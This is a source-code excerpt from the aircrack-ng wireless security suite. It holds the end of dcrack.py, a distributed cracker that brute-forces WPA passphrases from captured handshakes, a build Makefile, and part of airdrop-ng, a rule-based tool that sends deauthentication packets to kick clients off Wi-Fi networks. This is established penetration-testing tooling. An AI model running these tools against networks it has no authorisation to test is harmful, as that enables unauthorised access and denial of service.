"dict" : d['id'], \
"start" : i, \
"end" : i + s }
j = json.dumps(crack)
return j
def do_getwork(s, path):
con = get_con()
c = con.cursor()
c.execute("""DELETE from work where
((strftime('%s', datetime()) - strftime('%s', last))
> 3600) and state = 1""")
con.commit()
c.execute("SELECT * from dict where current = 1")
d = c.fetchone()
c.execute("SELECT * from nets where state = 1")
r = c.fetchall()
for row in r:
res = s.try_network(row, d)
if res:
return res
# try some old stuff
c.execute("""select * from work where state = 1
order by last limit 1""")
res = c.fetchone()
if res:
c.execute("DELETE from work where id = ?", (res['id'],))
for row in r:
res = s.try_network(row, d)
if res:
return res
res = { "interval" : "60" }
return json.dumps(res)
def do_dict_status(s, path):
p = path.split("/")
d = p[4]
try:
with open("dcrack-dict-%s.txt" % d): pass
return "OK"
except:
return "NO"
def create_db():
con = get_con()
c = con.cursor()
c.execute("""create table clients (id varchar(255),
speed integer, last datetime)""")
c.execute("""create table dict (id varchar(255), lines integer,
current boolean)""")
c.execute("""create table nets (bssid varchar(255), pass varchar(255),
state integer)""")
c.execute("""create table work (id integer primary key,
net varchar(255), dict varchar(255),
start integer, end integer, last datetime, state integer)""")
def connect_db():
con = sqlite3.connect('dcrack.db')
con.row_factory = sqlite3.Row
return con
def get_con():
global tls
try:
return tls.con
except:
tls.con = connect_db()
return tls.con
def init_db():
con = get_con()
c = con.cursor()
try:
c.execute("SELECT * from clients")
except:
create_db()
def server():
init_db()
server_class = ThreadingTCPServer
try:
httpd = server_class(('', port), ServerHandler)
except socket.error as exc:
print("Failed listening on port %d" % port)
return
print("Starting server")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("Bye!")
httpd.server_close()
def usage():
print("""dcrack v0.3
Usage: dcrack.py [MODE]
server Runs coordinator
client <server addr> Runs cracker
cmd <server addr> [CMD] Sends a command to server
[CMD] can be:
dict <file>
cap <file>
crack <bssid>
remove <bssid>
status""")
exit(1)
def get_speed():
print("Getting speed")
p = subprocess.Popen(["aircrack-ng", "-S"], stdout=subprocess.PIPE)
speed = p.stdout.readline()
speed = speed.split()
speed = speed[len(speed) - 2]
return int(float(speed))
def get_cid():
return random.getrandbits(64)
def do_ping(speed):
global url, cid
u = url + "client/" + str(cid) + "/ping?speed=" + str(speed)
stuff = urlopen(u).read()
interval = int(stuff)
return interval
def pinger(speed):
while True:
interval = try_ping(speed)
time.sleep(interval)
def try_ping(speed):
while True:
try:
return do_ping(speed)
except URLError:
print("Conn refused (pinger)")
time.sleep(60)
def get_work():
global url, cid, cracker
u = url + "client/" + str(cid) + "/getwork"
stuff = urlopen(u).read()
stuff = stuff.decode("utf-8")
crack = json.loads(stuff)
if "interval" in crack:
# Validate value
try:
interval = int(crack['interval'])
if (interval < 0):
raise ValueError('Interval must be above or equal to 0')
except:
# In case of failure, default to 60 sec
interval = 60
print("Waiting %d sec" % interval)
return interval
wl = setup_dict(crack)
cap = get_cap(crack)
# If there's anything wrong with it, skip cracking
if wl == None or cap == None:
return
print("Cracking")
cmd = ["aircrack-ng", "-w", wl, "-b", crack['net'], "-q", cap]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \
stdin=subprocess.PIPE)
cracker = p
res = p.communicate()[0]
res = str(res)
cracker = None
KEY_FOUND_STR = "KEY FOUND! [ "
if ("not in dictionary" in res):
print("No luck")
u = "%snet/%s/result?wl=%s&start=%d&end=%d&found=0" % \
(url, crack['net'], crack['dict'], \
crack['start'], crack['end'])
stuff = urlopen(u).read()
elif KEY_FOUND_STR in res:
start_pos = res.find(KEY_FOUND_STR) + len(KEY_FOUND_STR)
end_pos = res.rfind(" ]")
if end_pos == -1 or end_pos - start_pos < 1:
raise BaseException("Can't parse output")
if end_pos - start_pos < 8:
raise BaseException("Failed parsing - Key too short")
if end_pos - start_pos > 63:
raise BaseException("Failed parsing - Key too long")
pw = res[start_pos:end_pos]
print("Key for %s is %s" % (crack['net'], pw))
u = "%snet/%s/result?pass=%s" % (url, crack['net'], pw)
stuff = urlopen(u).read()
return 0
def decompress(fn):
with gzip.open(fn + ".gz") as fid1:
with open(fn, "wb") as fid2:
fid2.writelines(fid1)
def setup_dict(crack):
global url
d = crack['dict']
if not re.compile("^[a-f0-9]{5,40}").match(d):
print("Invalid dictionary: %s" % d)
return None
#if not re.match("^[0-9]+$", d['start']) or not re.match("^[0-9]+$", d['end']):
if crack['start'] < 0 or crack['end'] < 0:
print("Wordlist: Invalid start or end line positions")
return None
if crack['end'] <= crack['start']:
print("Wordlist: End line position must be greater than start position")
return None
fn = "dcrack-client-dict-%s.txt" % d
try:
with open(fn): pass
except:
print("Downloading dictionary %s" % d)
u = "%sdict/%s" % (url, d)
stuff = urlopen(u)
with open(fn + ".gz", "wb") as fid:
fid.write(stuff.read())
print("Uncompressing dictionary")
decompress(fn)
h = get_sha1sum_string(fn)
if h != d:
print("Bad dictionary, SHA1 don't match")
return None
# Split wordlist
s = "dcrack-client-dict-%s-%d:%d.txt" \
% (d, crack['start'], crack['end'])
try:
with open(s): pass
except:
print("Splitting dict %s" % s)
with open(fn, "rb") as fid1:
with open(s, "wb") as fid2:
for i, l in enumerate(fid1):
if i >= crack['end']:
break
if i >= crack['start']:
fid2.write(l)
# Verify wordlist isn't empty
try:
if os.stat(s).st_size == 0:
print("Empty dictionary file!")
return None
except:
print("Dictionary does not exists!")
return None;
return s
def get_cap(crack):
global url, nets
fn = "dcrack-client.cap"
bssid = crack['net'].upper()
if bssid in nets:
return fn
try:
with open(fn, "rb"): pass
check_cap(fn, bssid)
except:
pass
if bssid in nets:
return fn
print("Downloading cap")
u = "%scap/%s" % (url, bssid)
stuff = urlopen(u)
with open(fn + ".gz", "wb") as fid:
fid.write(stuff.read())
print("Uncompressing cap")
decompress(fn)
nets = {}
check_cap(fn, bssid)
if bssid not in nets:
printf("Can't find net %s" % bssid)
return None
return fn
def process_cap(fn):
global nets
nets = {}
print("Processing cap")
p = subprocess.Popen(["aircrack-ng", fn], stdout=subprocess.PIPE, \
stdin=subprocess.PIPE)
found = False
while True:
line = p.stdout.readline()
try:
line = line.decode("utf-8")
except:
line = str(line)
if "1 handshake" in line:
found = True
parts = line.split()
b = parts[1].upper()
# print("BSSID [%s]" % b)
nets[b] = True
if (found and line == "\n"):
break
p.stdin.write(bytes("1\n", "utf-8"))
p.communicate()
def check_cap(fn, bssid):
global nets
cmd = ["aircrack-ng", "-b", bssid, fn]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
res = p.communicate()[0]
res = str(res)
if "No matching network found" not in res:
nets[bssid] = True
def worker():
while True:
interval = get_work()
time.sleep(interval)
def set_url():
global url, port
if len(sys.argv) < 3:
print("Provide server addr")
usage()
host = sys.argv[2]
if not ":" in host:
host = "%s:%d" % (host, port)
url = "http://" + host + "/" + "dcrack/"
def client():
global cid, cracker, url
set_url()
url += "worker/"
speed = get_speed()
print("Speed", speed)
cid = get_cid()
print("CID", cid)
try_ping(speed)
t = threading.Thread(target=pinger, args=(speed,))
t.daemon = True
t.start()
while True:
try:
do_client()
break
except URLError:
print("Conn refused")
time.sleep(60)
def do_client():
try:
worker()
except KeyboardInterrupt:
if cracker:
cracker.kill()
def upload_file(url, f):
x = urlparse(url)
c = HTTPConnection(x.netloc)
# XXX not quite HTTP form
with open(f, "rb") as fid:
c.request("POST", x.path, fid)
res = c.getresponse()
stuff = res.read()
c.close()
return stuff
def compress_file(f):
with open(f, "rb") as fid1:
with gzip.open(f + ".gz", "wb") as fid2:
fid2.writelines(fid1)
def send_dict():
global url
if len(sys.argv) < 5:
print("Need dict")
usage()
d = sys.argv[4]
# Check if file exists
try:
if os.stat(d).st_size == 0:
print("Empty dictionary file!")
return
except:
print("Dictionary does not exists!")
return;
print("Cleaning up dictionary")
new_dict = "/tmp/" + next(tempfile._get_candidate_names()) + ".txt"
with open(new_dict, 'w') as fout:
with open(d) as fid:
for line in fid:
cleaned_line = line.rstrip("\n")
if len(cleaned_line) >= 8 and len(cleaned_line) <= 63:
fout.write(cleaned_line + "\n")
if os.stat(new_dict).st_size == 0:
os.remove(new_dict)
print("No valid passphrase in dictionary")
return
print("Calculating dictionary hash for cleaned up %s" % d)
h = get_sha1sum_string(new_dict)
print("Hash is %s" % h)
u = url + "dict/" + h + "/status"
stuff = urlopen(u).read()
if "NO" in str(stuff):
u = url + "dict/create"
print("Compressing dictionary")
compress_file(new_dict)
os.remove(new_dict)
print("Uploading dictionary")
upload_file(u, new_dict + ".gz")
os.remove(new_dict + ".gz")
print("Setting dictionary to %s" % d)
u = url + "dict/" + h + "/set"
stuff = urlopen(u).read()
def send_cap():
global url
if len(sys.argv) < 5:
print("Need cap")
usage()
cap = sys.argv[4]
# Check if file exists
try:
if os.stat(cap).st_size <= 24:
# It may exists but contain no packets.
print("Empty capture file!")
return
except:
print("Capture file does not exists!")
return;
print("Cleaning cap %s" % cap)
clean_cap = "/tmp/" + next(tempfile._get_candidate_names()) + ".cap"
subprocess.Popen(["wpaclean", clean_cap, cap], \
stderr=subprocess.STDOUT, stdout=subprocess.PIPE).communicate()[0]
# Check cleaned file size (24 bytes -> 0 packets in file)
if os.stat(clean_cap).st_size <= 24:
print("Empty cleaned PCAP file, something's wrong with the original PCAP!")
return
print("Compressing cap")
compress_file(clean_cap)
os.remove(clean_cap)
u = url + "cap/create"
ret = upload_file(u, clean_cap + ".gz")
ret = ret.decode("UTF-8")
if ret == "OK":
print("Upload successful")
elif ret == "NO":
print("Failed uploading wordlist")
else:
print("Unknown return value from server: %s" % (ret,))
# Delete temporary file
os.remove(clean_cap + ".gz")
def cmd_crack():
ret = net_cmd("crack")
ret = ret.decode("UTF-8")
if ret == "OK":
print("Cracking job successfully added")
elif ret == "NO":
print("Failed adding cracking job!")
else:
print("Unknown return value from server: %s" % (ret,))
def net_cmd(op):
global url
if len(sys.argv) < 5:
print("Need BSSID")
usage()
bssid = sys.argv[4]
print("%s %s" % (op, bssid))
u = "%snet/%s/%s" % (url, bssid, op)
return urlopen(u).read()
def cmd_remove():
net_cmd("remove")
def cmd_status():
u = "%sstatus" % url
stuff = urlopen(u).read()
stuff = json.loads(stuff.decode("utf-8"))
speed = 0
idx = 0
for idx, c in enumerate(stuff['clients'], start=1):
speed += c
print("Clients\t%d\nSpeed\t%d\n" % (idx, speed))
need = 0
for n in stuff['nets']:
out = n['bssid'] + " "
if "pass" in n:
out += n['pass']
elif "did" in n:
did = int(float(n['did']) / float(n['tot']) * 100.0)
out += str(did) + "%"
need += n['tot'] - n['did']
else:
out += "-"
print(out)
if need != 0:
print("\nKeys left %d" % need)
if speed != 0:
s = int(float(need) / float(speed))
sec = datetime.timedelta(seconds=s)
d = datetime.datetime(1,1,1) + sec
print("ETA %dh %dm" % (d.hour, d.minute))
def do_cmd():
global url
set_url()
url += "cmd/"
if len(sys.argv) < 4:
print("Need CMD")
usage()
cmd = sys.argv[3]
if "dict" in cmd:
send_dict()
elif "cap" in cmd:
send_cap()
elif "crack" in cmd:
cmd_crack()
elif "status" in cmd:
cmd_status()
elif "remove" in cmd:
cmd_remove()
else:
print("Unknown cmd %s" % cmd)
usage()
def get_sha1sum_string(f):
sha1 = hashlib.sha1()
with open(f, "rb") as fid:
sha1.update(fid.read())
return sha1.hexdigest()
def is_sha1sum(h):
if re.match("[0-9a-fA-F]{40}", h):
return True
return False
def is_bssid_value(b):
if re.match("([A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2}", b):
return True
return False
def main():
if len(sys.argv) < 2:
usage()
cmd = sys.argv[1]
if cmd == "server":
server()
elif cmd == "client":
try:
client()
except KeyboardInterrupt:
pass
elif cmd == "cmd":
try:
do_cmd()
except URLError as ue:
if "Connection refused" in ue.reason:
print("Connection to %s refused" % (sys.argv[2],))
else:
print(ue.reason)
except socket.error as se:
if se.errno == errno.ECONNREFUSED:
print("Connection refused")
else:
print(se)
else:
print("Unknown cmd", cmd)
usage()
exit(0)
if __name__ == "__main__":
main() |
aircrack-ng/scripts/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
if EXT_SCRIPTS
SUBDIRS = airdrop-ng airgraph-ng versuck-ng
endif
dist_sbin_SCRIPTS = airodump-ng-oui-update
if LINUX
dist_sbin_SCRIPTS += airmon-ng
airmon-ng: airmon-ng.linux Makefile
cp "$(abs_srcdir)/airmon-ng.linux" "$(abs_builddir)/airmon-ng"
chmod +x "$(abs_builddir)/airmon-ng"
endif
if FREEBSD
dist_sbin_SCRIPTS += airmon-ng
airmon-ng: airmon-ng.freebsd Makefile
cp "$(abs_srcdir)/airmon-ng.freebsd" "$(abs_builddir)/airmon-ng"
chmod +x "$(abs_builddir)/airmon-ng"
endif
EXTRA_DIST = airmon-ng.freebsd airmon-ng.linux
CLEANFILES = airmon-ng |
|
aircrack-ng/scripts/airdrop-ng/airdrop-ng | #!/usr/bin/env python
#part of project lemonwedge
__author__ = "TheX1le & King_Tuna"
__version__ = "2012.2.17.1.54.00"
__licence__ = "GPL2"
"""
Airdrop-ng A rule based wireless deauth tool
a component of project lemonwedge
Written by Thex1le and King_Tuna
"""
import sys, argparse, re, time, random, os
import pdb
#update the path with subdirectories
#lib for the libraries and support for the oui.txt file
# adds possible paths for support modules
#sys.path.extend(["./lib","/usr/lib/airdrop-ng"])
from time import sleep,localtime
from airdrop import bcolors, install_dir
from airdrop import libOuiParse, libDumpParse
from binascii import a2b_hex
try:
import PyLorcon2
except ImportError as e:
print("Did you read the readme? You seem to be missing PyLorcon2")
print(e)
class messages:
"""
handle all printing
allows for central logging
"""
def __init__(self,log, dir="/var/log/"):
"""
int vars for printing class
"""
date = localtime()
self.date = str(date[0])+str(date[1])+str(date[2])
self.time = str(date[3])+"-"+str(date[4])+"-"+str(date[5])
self.logging = log #log error messages to a file
#logfile
self.logfile = dir+'/airdrop-ng_'+self.date+"-"+self.time+".log"
self.color = True #enable colors
self.logBuff = [] #hold info before we write to a file
if self.logging == True:
try:
file = open(self.logfile,'a')
file.write(self.date+"-"+self.time+"\n")
file.write("Airdrop-ng Logfile\n")
file.close
except IOError as e:
self.logging = False
self.printError(["Could not open file "+self.logfile+"\n\n",
str(e)+"\n"])
def printMessage(self,message):
"""
print standard info messages
"""
TYPE = type(message).__name__
if TYPE == 'list':
for line in message:
print(line)
elif TYPE == 'str':
print(message)
self.log(message,TYPE)
def printError(self,error):
"""
write errors to stderr in red
"""
TYPE = type(error).__name__
if TYPE == 'list':
for line in error:
sys.stderr.write(bcolors.FAIL+line+"\n"+bcolors.ENDC)
elif TYPE == 'str':
sys.stderr.write(bcolors.FAIL+error+"\n"+bcolors.ENDC)
self.log(error,TYPE)
def log(self,data,TYPE):
"""
write all messages to a file
"""
if self.logging is False:
return
try:
file = open(self.logfile,'a')
except IOError as e:
self.logging = False
self.printError(["Could not open file "+self.logfile+"\n",
str(e)+"\n"])
sys.exit(-1)
if TYPE == 'list':
for item in data:
file.write(str(item)+"\n") #str allows me to print out data structures
elif TYPE == 'str':
file.write(data)
file.close
class parseFiles:
"""
parse users acl rules into a dict for matching
"""
def fileOpen(self,name):
"""
Open the file and read in the rules and remove \\n characters
"""
try:
openFile = open(name,"r")
except IOError as e:
message.printError("\nAirdrop-ng rule file "+name+" does not exist")
sys.exit(-1)
rules = openFile.xreadlines()
cleanedRules = []
for line in rules:
cleanedRules.append(line.rstrip())
openFile.close()
return cleanedRules
def translateOUI(self,ouiLst,flag):
"""
take an oui and find all matching mac addresses
in the sniffed data
"""
clientLst =[] #empty client list to hold are found clients
#check if were doing client oui beck or bssid oui check
if flag == 'c':
db = self.airoClient.keys()
elif flag == 'b':
db = self.airoAP.keys()
for key in db:
if key[:8] in ouiLst:
clientLst.append(key)
return clientLst
def ruleParse(self,ruleRaw):
"""
parse the actual rules and return a dictionary
"""
clientList = []
pipe = ruleRaw.find('|')
clientOuiList = [] #list to store client ouis
bssidOuiList = [] #list to store bssid ouis
bssid = None #place holder
bssidList = []
essidList = {}
#build an essid to bssid lookup
#BUG may be here if an essid has multiple bssids
for ap in self.airoAP.values():
essidList[ap["bssid"]] = ap["essid"]
compTrue = ruleRaw[1:].find(';')
if compTrue != -1:
delim = ';'
else:
compTrue = ruleRaw[1:].find(',')
if compTrue == -1:
delim = ';'
else:
delim = ','
for position in ruleRaw[pipe+1:].split(delim):
if position.upper() == "ANY": #client any
break
else:
cmac = position.upper().replace("-",":")
if self.validMacChk(cmac) == True:
#build a list of clients
clientList.append(cmac)
elif ouiLookup.compKeyChk(position) == True: #company oui lookup
#check to see if it's a company name we can lookup
clientOuiList.extend(ouiLookup.lookup_company(position))
elif ouiLookup.ouiKeyChk(position) == True: #oui match
#check to see if it's an oui we can lookup
clientOuiList = [position]
else:
message.printMessage([
"\nInvalid mac or company name",
"at "+position+" in "+ruleRaw," Moving on to next rule"])
return False
#translate ouis then append them to client list
if clientOuiList != []:
clientList.extend(
self.translateOUI(clientOuiList,'c')
)
clientOuiList = [] #empty the var
#begin bssid parse
if ruleRaw[2:pipe].upper() != "ANY":
bssidMac = ruleRaw[2:pipe].replace("-",":")
valid = self.validMacChk(bssidMac)
if valid == True :
#match mac address
bssidList = [bssidMac.upper()]
elif bssidMac in essidList.values():
#bssidMac is provided by the user and at this point is most
#likely an essid
for bssid in essidList:
#bssid is a true bssid
if essidList[bssid] == bssidMac:
bssidList.append(bssid)
elif ouiLookup.compKeyChk(bssidMac) == True: #company oui lookup
bssidOuiList.extend(ouiLookup.lookup_company(bssidMac))
if bssidOuiList != []:
bssidList.extend(
self.translateOUI(bssidOuiList,'b')
)
bssidOuiList = [] #empty var
elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match
#check to see if it's an oui we can lookup
bssidOuiList = [bssidMac]
bssidList = self.translateOUI(bssidOuiList,'b')
bssidOuiList = [] #empty var
else:
message.printMessage([
"\nInvalid mac or company name",
"at "+position+" in "+ruleRaw," Moving on to next rule"])
return False
else:
bssidList = ["ANY"]
if bssidList == []:
message.printMessage(["\nInvalid mac in bssid section of "+ruleRaw,
"Or no matching ouis found in sniffed data",
"Moving on to next rule"])
return False
state = ruleRaw[0].lower()
if len(bssidList) <= 1:
#if we only have one bssid we don't want to nest the dict in a list
for bssid in bssidList:
if clientList == [] and position.upper() != 'ANY':
ruleDict = {
"state":state,
"bssid":bssid,
"clients":[position],
"raw":ruleRaw}
if clientList == [] and position.upper() == 'ANY':
ruleDict = {
"state":state,
"bssid":bssid,
"clients":"ANY",
"raw":ruleRaw}
else:
ruleDict = {
"state":state,
"bssid":bssid,
"clients":clientList,
"raw":ruleRaw}
elif len(bssidList) > 1:
#if more than one bssid nest each rule dict in a list
ruleDict = []
for bssid in bssidList:
if clientList == [] and position.upper() != 'ANY':
ruleDict.append({
"state":state,
"bssid":bssid,
"clients":[position],
"raw":ruleRaw
})
elif clientList == [] and position.upper() == 'ANY':
ruleDict.append({
"state":state,
"bssid":bssid,
"clients":"ANY",
"raw":ruleRaw
})
else:
ruleDict.append({
"state":state,
"bssid":bssid,
"clients":clientList,
"raw":ruleRaw
})
return ruleDict
def validChk(self,rule):
"""
find commented lines
"""
ruleStrip = rule.strip('\t').lstrip()
if ruleStrip == "":
return False
elif ruleStrip[0] == "#":
return False
else:
return True
def commentOff(self,rules):
"""
This is a horrible hack but the idea is to remove the commented lines
"""
validRules = []
while len(rules) != 0:
chkme = rules.pop()
if self.validChk(chkme) == True:
validRules.append(chkme.strip('\t').lstrip())
return validRules
def run(self,fileName,AiroDBs):
"""
populate ruleList
"""
#are the airoDB's used by translate ouis
self.airoClient = AiroDBs[0]#airodump client db
self.airoAP = AiroDBs[1]#airodump ap DB
fileRules = self.fileOpen(fileName)
rawRules = self.commentOff(fileRules)
ruleList = {}
ruleCounter = 0
rawRules.reverse() #reverse the rules as they get loaded in backwards
for rule in rawRules: #populate ruleList
prule = self.ruleParse(rule)
ruleCounter += 1
if prule != False:
ruleList[ruleCounter] = prule
else:
continue
return ruleList
def validMacChk(self,mac):
"""
Check for valid mac address
If Invalid exit and print invalid mac and error msg to user
"""
#regex will match format of DE:AD:BE:EF:00:00 or DE-AD-BE-EF-00-00
check = '([a-fA-F0-9]{2}[:|\-]?){6}'
if re.match(check, mac):
return True
else:
return False
class ruleMatch:
"""
In the process of being depreciated
Do Rule matching
#NOTE in the future leave capr static and don't delete from it
"""
def __init__(self,rulesDB,capr,ClientApDB,debug):
"""
create vars for rule matching
"""
self.violators = {} #dict with bssid as a key and list
#of clients as nested list these clients are our targets
self.rulesDB = rulesDB #rules database
self.capr = capr #client to ap relationship
self.ClientApDB = ClientApDB #Access point dict contain all info about each Ap
self.debug = debug #debug flag
self.violators = {} #dict with bssid as a key and list of clients
self.bssid = None #bssid of the rule we are looking at
self.state = None #state of the rule either allow or deny
self.clients = [] #client list that are affected by the rules
self.rule = None #entire rule so we can print for debug mode
self.Client = None #the client we are currently working with
self.fullRule = None #the entire dict for printing in error messages
self.num = None #number of rule we are matching
def locate_key(self):
"""
take a client and locate its corresponding bssid
iterate though capr and find unknown bssid a client is
associated with
"""
for bssidKey in self.capr.keys():
if self.Client in self.capr[bssidKey]:
client_bssid = bssidKey
#break at first match
break
else:
#return none if client can't be found in capr
client_bssid = None
return client_bssid
def rm_dupe(self,List):
"""
Remove duplicates from list
"""
dict = {}
for item in List:
dict[item]=item
return dict.values()
def ruleQue(self):
"""
set global class values one at a time
then call matcher
"""
for num in sorted(self.rulesDB.keys()):
#make sure the rules are called in order
#it stops iterating at one less than we need so add +1
if type(self.rulesDB[num]).__name__ == "list":
for rule in self.rulesDB[num]:
self.bssid = rule["bssid"]
self.state = rule["state"]
self.clients = rule["clients"]
self.rule = rule["raw"]
self.fullRule = str(rule)
self.num = str(num)
self.match() #call matching
else:
self.bssid = self.rulesDB[num]["bssid"]
self.state = self.rulesDB[num]["state"]
self.clients = self.rulesDB[num]["clients"]
self.rule = self.rulesDB[num]["raw"]
self.fullRule = str(self.rulesDB[num])
self.num = str(num)
self.match() #call matching
return self.violators #return kicklist
def match(self):
"""
Main list of rule conditions to check
"""
if self.bssid != "ANY":
if self.ClientApDB[1].has_key(self.bssid):
self.channel = self.ClientApDB[1][self.bssid]["channel"]
#if this var doesn't get set it causes an error
else:
message.printMessage([
"\nInvalid bssid "+self.bssid+" not found in sniffed data",
"Rule number "+self.num,self.rule,
"Moving to next rule\n"])
return
#start rule matching
if self.capr.has_key(self.bssid) or self.bssid == 'ANY':
#check to make sure we have target bssid in capr
#start allow rule matching
if self.state == "a":
if self.bssid != "ANY" and self.clients != "ANY":
#allow client to bssid rule matching
#if no any's delete clients we want to allow from capr
#the rest are valid targets
for client in self.clients:
#update current working client
self.Client = client
try:
#attempt to remove client from capr dict
position = self.capr[self.bssid].index(self.Client)
del self.capr[self.bssid][position]
except ValueError:
pass
if self.violators.has_key(self.bssid):
#set allow bcast to False
self.violators[self.bssid][0]["allow"] = False
#set channel in case it has changed
self.violators[self.bssid][0]["channel"] = self.channel
else:
self.violators[self.bssid] = [
{"allow":False,"channel":self.channel}, #support data
[] #empty client list
]
if self.debug == True: #debug flag
message.printMessage(["Rule Number "+self.num,
self.rule, self.fullRule,
"Allow "+str(self.clients)+" client to "+self.bssid+" bssid\n"])
elif self.bssid != "ANY" and self.clients == "ANY": #
#allow bssid any client rule matching
#remove the bssid and all clients from our target list
del self.capr[self.bssid]
#remove the clients and the bssid from the target list
#potential bug
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule, self.fullRule,
"\nAll clients allowed to talk to "+self.bssid+" bssid",
"No packets will be sent"])
elif self.bssid == "ANY" and self.clients == "ANY":
#allow any any rule matching
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"All clients are allowed to all Aps No packets will be sent\n"])
message.printMessage(["\nReached "+self.rule+" "+self.fullRule,
"Rule Number "+self.num,
"Rule is allow any any no Packets will be sent"])
sys.exit(0)
elif self.bssid == "ANY" and self.clients != "ANY":
#allow some clients to talk to any AP
for client in self.clients:
self.Client = client
self.bssid = self.locate_key()
#look up each client and update self.bssid
if self.bssid == None:
message.printMessage([
"\nClient "+self.Client+" not found in sniffed data,",
"Client will be ignored"])
#continue #skip this client and move on to the next in the for loop
return
else:
#set channel
self.channel = self.ClientApDB[1][self.bssid]["channel"]
try:
#locate the clients position in capr
position = self.capr[self.bssid].index(self.Client)
del self.capr[self.bssid][position] #remove it from capr
except ValueError:
pass
if self.violators.has_key(self.bssid):
self.violators[self.bssid][0]["allow"] = False
self.violators[self.bssid][0]["channel"] = self.channel
else:
self.violators[self.bssid] = [
{"allow":False,"channel":self.channel}, #support data
[] #empty client list
]
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Allow "+self.Client+" client to "+self.bssid+" bssid\n"])
else:
message.printError(["ERROR in config file at:",
"Rule Number "+self.num,
self.rule,self.rulesDB,
"Could not match "+self.bssid+" or "+self.clients,
"Please check the rule and try again"])
sys.exit(-1)
#deny rule matching
elif self.state == "d":
if self.bssid == "ANY" and self.clients == "ANY": #global deauth
#any any match rule
message.printMessage(["\nReached global deauth at rule "+self.rule,
"Rule Number "+self.num,
"All clients that don't have a rule will be kicked at this point"])
for key in self.capr: #looping though to allow channel lookup
self.bssid = key
self.channel = self.ClientApDB[1][self.bssid]["channel"]
if self.violators.has_key(self.bssid):
#we assume at this point that the bcast allow has been set
self.violators[self.bssid][1].extend(
self.capr[self.bssid] #add all clients
)
#update channel in case it changed
self.violators[self.bssid][0]["channel"] = self.channel
else:
self.violators[self.bssid] = [
{"allow":True,"channel":self.channel}, #support data
self.capr[self.bssid] #list of clients to kick
]
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"])
#may change to a break since it's an any any
#continue #move on to the next rule in the list, later I'll probably break the iteration?
elif self.bssid == "ANY" and self.clients != 'ANY':
#deny any AP and select clients
for client in self.clients:
self.Client = client
self.bssid = self.locate_key()
if self.bssid == None:
message.printMessage(["Unable to locate bssid for client "+client,
" Skipping\n"])
continue
#set channel
self.channel = self.ClientApDB[1][self.bssid]["channel"]
if self.bssid == None:
message.printMessage(["Client "+self.Client+" not found in sniffed data",
"client will be ignored"])
#continue #skip this client and move on to the next in the for loop
continue
if self.capr.has_key(self.bssid): #checking for valid targets
if self.violators.has_key(self.bssid):
#extend the list of targets
self.violators[self.bssid][1].append(self.Client)
self.violators[self.bssid][0]["channel"] = self.channel
else:
self.violators[self.bssid] = [
{"allow":False,"channel":self.channel},
[self.Client]
]
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Deny "+self.Client+" client to "+self.bssid+" bssid\n"])
elif self.bssid != "ANY" and self.clients == "ANY":
#deny client any rule matching
if self.violators.has_key(self.bssid):
self.violators[self.bssid][1].extend(self.capr[self.bssid])
#remove any duplicate entries
self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1])
self.violators[self.bssid][0]["channel"] = self.channel
else:
self.violators[self.bssid] = [
{"allow":True,"channel":self.channel},
self.capr[self.bssid]
]
if self.debug == True:
for client in self.violators[self.bssid][1]:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Deny "+client+" clients to "+self.bssid+" bssid\n"])
elif self.bssid != "ANY" and self.clients != "ANY":
#deny between client and AP no anys used
for client in self.clients:
#do the following checks for each client
self.Client = client
if self.Client not in self.capr[self.bssid]:
#if current client doesn't belong to current ap
#don't generate a packet for it
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Client "+self.Client+" not attached to "+self.bssid,
"Moving on\n"])
continue
if self.violators.has_key(self.bssid):
self.violators[self.bssid][1].append(self.Client)
else:
self.violators[self.bssid] =[
{"allow":False,"channel":self.channel},
[self.Client]]
if self.debug == True:
message.printMessage(["Rule Number "+self.num,
self.rule,self.fullRule,
"Deny "+self.Client+" client to "+self.bssid+" bssid\n"])
#do final processing on all affected clients
#remove duplicates
self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1])
#update channel on the card in case it changed
self.violators[self.bssid][0]["channel"] = self.channel
else:
message.printMessage(["Config file error at line",
self.rule,self.rulesDB[num],
"State must be either an a for allow or d for deny"])
sys.exit(-1)
return self.violators
class packetGenerator:
"""
A collection of code for building packets
"""
def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel):
"""
initialize packet hex values
"""
self.packetTypes = {
"deauth":'\xc0\x00', #deauthentication packet header
"disass":'\xa0\x00' #disassoication packet header
}
self.packetBcast = {
"ipv4":'\xff\xff\xff\xff\xff\xff', #ipv4 broadcast
"ipv6":'\x33\x33\x00\x00\x00\x16', #ipv6 broadcast
